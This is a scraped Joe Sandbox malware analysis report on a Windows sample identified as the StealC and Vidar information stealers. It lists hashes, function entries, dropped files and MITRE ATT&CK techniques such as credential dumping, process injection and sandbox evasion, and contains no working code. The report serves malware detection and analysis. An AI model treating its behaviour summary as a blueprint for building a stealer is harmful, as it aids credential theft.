Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: da519cb65f4f54f14df2a6ed57246dfec65ff54ba12b7719bb156dee23131e03
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B9313E71B00654AFC714CF59CCC0A9F7BB6EB84758B148539EA4A8BB09D631ED448B98

Function 6CB226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB226C1
free.MOZGLUE(?), ref: 6CB226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB226FF
free.MOZGLUE ref: 6CB2270D

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 81186e54182339102be8844f8f394fd6f06c86d990681135759a279035635edd
Instruction ID: a74f9be01a254d0653a0739484d75652bc0e2dda296c972f2f2ee81053014aa3
Opcode Fuzzy Hash: 81186e54182339102be8844f8f394fd6f06c86d990681135759a279035635edd
Instruction Fuzzy Hash: 29F0F9B27012405BE7019E18DC88D6773ADEF55228B540035EA1EC3B01E335F959C793

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIDGCFHIEHJJJJECAKKJDBAF

C:\ProgramData\DGCBAFIJDGHCAKECAEGCAAKEHD

C:\ProgramData\HIEHDAFHDHCBFIDGCFIDGHJDGD

C:\ProgramData\IJDBKKJKJEBFBGCBAAFIJKJKJJ

C:\ProgramData\IJDHDGDA

C:\ProgramData\JJEGCBGIDHCAKEBGIIDB

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

C:\ProgramData\JKFIDGDHJEGIEBFHDGDG

C:\ProgramData\KEHCGCGC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00A09860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 009F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 009FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00A04910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 009F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00A09C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre